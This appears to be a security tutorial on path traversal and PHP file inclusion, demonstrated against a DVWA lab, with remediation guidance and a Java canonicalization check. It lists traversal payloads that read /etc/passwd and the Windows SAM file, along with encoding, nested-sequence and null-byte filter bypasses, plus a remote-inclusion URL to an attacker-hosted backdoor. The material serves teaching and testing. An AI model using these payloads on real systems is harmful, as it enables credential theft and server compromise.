Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.

Path traversal vulnerabilities arise when the application uses user-controllable (user supplied/untrusted) data to access files and directories on the application server or another backend file system in an unsafe way.

By submitting crafted input, an attacker may be able to cause arbitrary content to be read from, or written to, anywhere on the file system being accessed. Usually the same access as the application/user running the script.

https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion

Example

When the server processes this request, it follows these steps:

1. Extracts the value of the filename parameter from the query string.

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=include.php
  • page=include.php

2. Opens the file with this name.

  • include.php

3. Reads the file’s contents and returns it to the client.

This functionality is often found in work fl ow applications where users can share documents, in blogging and auction applications where users can upload images, and in informational applications where users can retrieve documents such as ebooks, technical manuals, and company reports.

1. Review the information gathered during application mapping to identify the following:

  • Any instance where a request parameter appears to contain the name of a file or directory, such as include=vk9.php or template=/en/ sidebar.
  • Any application functions whose implementation is likely to involve retrieval of data from a server file system (as opposed to a back-end database), such as documents or images.

2. Look for error messages or other anomalous events that are of interest. Try to find any evidence of instances where user-supplied data is being passed to file APIs or as parameters to operating system commands.

Detecting Path Traversal Vulnerabilities

Having identified the various potential targets for path traversal testing, you need to test every instance individually to determine whether user-controllable data is being passed to relevant file system operations in an unsafe manner.

1. Modify the parameter’s value to insert an arbitrary subdirectory and a single traversal sequence. For example, if the application submits this parameter:

  • file=foo/file1.txt

try submitting this value:

  • file=foo/bar/../file1.txt

If the application’s behavior is identical in the two cases, it may be vulnerable. You can also use absolute paths. You might be able to use an absolute path from the filesystem root, such as filename=/etc/passwd, to directly reference a file without using any traversal sequences.

  • file=/etc/passwd

Example

Successul

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=foo/../include.php

Unsuccessful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=foo/include.php

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=/etc/passwd

2. If the application’s behavior is different in the two cases, it may be blocking, stripping, or sanitizing traversal sequences, resulting in an invalid file path.

The reason why this test is effective, even if the subdirectory “bar” does not exist, is that most common file systems perform canonicalization of the file path before attempting to retrieve it.

3. If the application function you are attacking provides read access to a file, attempt to access a known world-readable file on the operating system in question.

  • ../../../../../../../../../../../../etc/passwd
  • ../../../../../../../../../../../../windows/win.ini

Example

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=../../../../../../../../../etc/hosts

4. If the function you are attacking provides write access to a file, it may be more difficult to verify conclusively whether the application is vulnerable. One test that is often effective is to attempt to write two files –

one that should be writable by any user

  • ../../../../../../../../../../../../writetest.txt
  • ../../../../../../../../../../../../tmp/writetest.txt

one that should not be writable only by root or Administrator.

  • ../../../../../../../../../../../../windows/system32/config/sam
  • ../../../../../../../../../../../../tmp

5. An alternative method for verifying a traversal flaw with write access is to try to write a new file within the web root of the web server and then attempt to retrieve this with a browser. However, this method may not work

  • if you do not know the location of the web root directory
  • if the user context in which the file access occurs does not have permission to write there.

Circumventing Obstacles to Traversal Attacks

If your initial attempts to perform a traversal attack (as just described) are unsuccessful, this does not mean that the application is not vulnerable. There might be some filters protecting the application, these can be by passed.

First filter type

The first type of input filter commonly encountered involves checking whether the filename parameter contains any path traversal sequences. If it does, the filter either rejects the request or attempts to sanitize the input to remove the sequences. This type of filter is often vulnerable to various attacks that use alternative encodings and other tricks to defeat the filter.

1. Always try path traversal sequences using both forward slashes and backslashes. Many input filters check for only one of these, when the filesystem may support both.

2. Try simple URL-encoded representations of traversal sequences using the following encodings. You might be able to use various non-standard encodings, such as ..%c0%af or ..%252f, to bypass the input filter. Be sure to encode every single slash and dot within your input:

  • Dot: %2e
  • Forward slash: %2f
  • Backslash: %5c

3. Try using 16-bit Unicode encoding:

  • Dot: %u002e
  • Forward slash: %u2215
  • Backslash: %u2216

4. Try double URL encoding:

  • Dot: %252e
  • Forward slash: %252f
  • Backslash: %255

5. Try overlong UTF-8 Unicode encoding: n

  • Dot: %c0%2e, %e0%40%ae, %c0ae,
  • Forward slash: %c0%af, %e0%80%af, %c0%2f, and so on
  • Backslash: %c0%5c, %c0%80%5

Example

  • web-security-academy.net/image?filename=..%252f..%252f..%252fetc/passwd

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=%2fetc/passwd

6. If the application is attempting to sanitize user input by removing traversal sequences and does not apply this filter recursively, it may be possible to bypass the filter by placing one sequence within another, You might be able to use nested traversal sequences, such as ….// or ….\/, which will revert to simple traversal sequences when the inner sequence is stripped

  • ….//
  • ….\/
  • …./\
  • ….\\

Example

  • web-security-academy.net/image?filename=….//….//….//etc/passwd

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=//etc/passwd

Second filter type

The second type of input filter commonly encountered in defenses against path traversal attacks involves verifying whether the user-supplied filename contains a suffix (file type) or prefix (starting directory) that the application expects.

1. Some applications check whether the user-supplied filename ends in a particular file type or set of file types and reject attempts to access anything else. Sometimes this check can be subverted by placing a URLencoded null byte at the end of your requested filename, followed by a file type that the application accepts. it might be possible to use a null byte to effectively terminate the file path before the required extension

  • ../../../../../boot.ini%00.jpg

Example

  • web-security-academy.net/image?filename=../../../../../etc/passwd%00.jpg

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=/etc/passwd%00.php

2. Some applications attempt to control the file type being accessed by appending their own file-type suffix to the filename supplied by the user.

Some applications check whether the user-supplied filename starts with a particular subdirectory of the start directory, or even a specific filename. If an application requires that the user-supplied filename must start with the expected base folder, such as /var/www/images, then it might be possible to include the required base folder followed by suitable traversal sequences. This check can, of course, be bypassed easily as follows:

  • filestore/../../../../../../../etc/passwd

Example

  • web-security-academy.net/image?filename=/var/www/images/../../../../../../../etc/passwd

Successful

  • http://192.168.0.6/dvwa/vulnerabilities/fi/?page=/var/www/../../../etc/passwd

3. If none of the preceding attacks against input filters is successful individually, the application might be implementing multiple types of filters. Therefore, you need to combine several of these attacks simultaneously (both against traversal sequence filters and file type or directory filters). If possible, the best approach here is to try to break the problem into separate stages

Successful

  • diagram1.jpg

Unsuccessful

  • foo//….//diagram1.jpg

try all the possible traversal sequence bypasses until a variation on the second request is successful.

Exploiting Traversal Vulnerabilities

You can exploit read access path traversal flaws to retrieve interesting files from the server that may contain directly useful information or that help you refi ne attacks against other vulnerabilities. For example:

  • Password files for the operating system and application
  • Server and application configuration files to discover other vulnerabilities or fi ne-tune a different attack
  • Include fi les that may contain database credentials
  • Data sources used by the application, such as MySQL database fi les or XML files
  • The source code to server-executable pages to perform a code review in search of bugs (for example, GetImage.aspx?file=GetImage.aspx)
  • Application log files that may contain usernames and session tokens and the like

If you find a path traversal vulnerability that grants write access, your main goal should be to exploit this to achieve arbitrary execution of commands on the server. Here are some ways to exploit this vulnerability:

  • Create scripts in users’ startup folders.
  • Modify fi les such as in.ftpd to execute arbitrary commands when a user next connects.
  • Write scripts to a web directory with execute permissions, and call them from your browser.

Finding File Inclusion Vulnerabilities

File inclusion vulnerabilities may arise in relation to any item of user-supplied data. They are particularly common in request parameters that specify a language or location.

Remote File Inclusion (RFI)

Consider an application that delivers different content to people in different locations. When users choose their location, this is communicated to the server via a request parameter, as follows:

  • https://vk9-sec.com/main.php?Country=US

The application processes the Country parameter as follows:

  • $country = $_GET[‘Country’]; include( $country . ‘.php’ );

This causes the execution environment to load the file US.php that is located on the web server file system. The contents of this file are effectively copied into the main.php fi le and executed.

First, specify an external URL as the location of the include file. The PHP include function accepts this as input, and the execution environment retrieves the specified file and executes its contents. Hence, an attacker can construct a malicious script containing arbitrarily complex content, host this on a web server he controls, and invoke it for execution via the vulnerable application function

  • https://vk9-sec.com/main.php?Country=http://192.168.0.110/backdoor

Exploitation Steps

  • Submit in each targeted parameter a URL for a resource on a web server that you control, and determine whether any requests are received from the server hosting the target application.
  • If the first test fails, try submitting a URL containing a nonexistent IP address, and determine whether a timeout occurs while the server attempts to connect.
  • If the application is found to be vulnerable to remote file inclusion, construct a malicious script using the available APIs in the relevant language, as described for dynamic execution attacks.

Local File Inclusion (LFI)

Sometimes, include files are loaded on the basis of user-controllable data, but it is not possible to specify a URL to a file on an external server. This is done with local files.

if user-controllable data is passed to the ASP function Server.Execute, an attacker may be able to cause an arbitrary ASP script to be executed, provided that this script belongs to the same application as the one that is calling the function.

There may be server-executable fi les on the server that you cannot access through the normal route. For example, any requests to the path /admin may be blocked through application-wide access controls. If you can cause sensitive functionality to be included into a page that you are authorized to access, you may be able to gain access to that functionality.

  • https://vk9-sec.com/example.php (denied)
  • https://vk9-sec.com/get-file.php?read=example.php (worked since we are reading it through a function)

Exploitation Steps

  • Submit the name of a known executable resource on the server, and determine whether any change occurs in the application’s behavior.
  • Submit the name of a known static resource on the server, and determine whether its contents are copied into the application’s response
  • If the application is vulnerable to local file inclusion, attempt to access any sensitive functionality or resources that you cannot reach directly via the web server
  • Test to see if you can access files in other directories using the traversal techniques described previously.

Remedy

the most effective means of eliminating path traversal vulnerabilities is to avoid passing user-submitted data to any file system API. Many application functions that do this can be rewritten to deliver the same behavior in a safer way.

Most files that are not subject to any access control can simply be placed within the web root and accessed via a direct URL

  • The application should validate the user input before processing it. Ideally, the validation should compare against a whitelist of permitted values. If that isn’t possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters.
  • It can use a different identifier to specify which file is required, such as an index number. Any request containing an invalid identifier can be rejected, and there is no attack surface for users to manipulate the path of fi les delivered by the page.
  • After performing all relevant decoding and canonicalization of the user submitted filename, the application should check whether it contains either of the path traversal sequences (using backslashes or forward slashes) or any null bytes.
  • The application should use a hard-coded list of permissible fi le types and reject any request for a different type (after the preceding decoding and canonicalization have been performed).
  • After performing all its filtering on the user-supplied filename, the application should use suitable file system APIs to verify that nothing is amiss and that the fi le to be accessed using that filename is located in the start directory specified by the application.

In Java, this can be achieved by instantiating a java.io.File object using the user-supplied filename and then calling the getCanonicalPath method on this object. If the string returned by this method does not begin with the name of the start directory, the user has somehow bypassed the application’s input filters, and the request should be rejected.

  • After validating the supplied input, the application should append the input to the base directory and use a platform filesystem API to canonicalize the path. It should verify that the canonicalized path starts with the expected base directory.
  • the chrooted directory is treated as if it is the file system root, and any redundant traversal sequences that attempt to step up above it are ignored.
  • The application should integrate its defenses against path traversal attacks with its logging and alerting mechanisms

Below is an example of some simple Java code to validate the canonical path of a file based on user input:

File file = new File(BASE_DIRECTORY, userInput);

if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {

// process file

}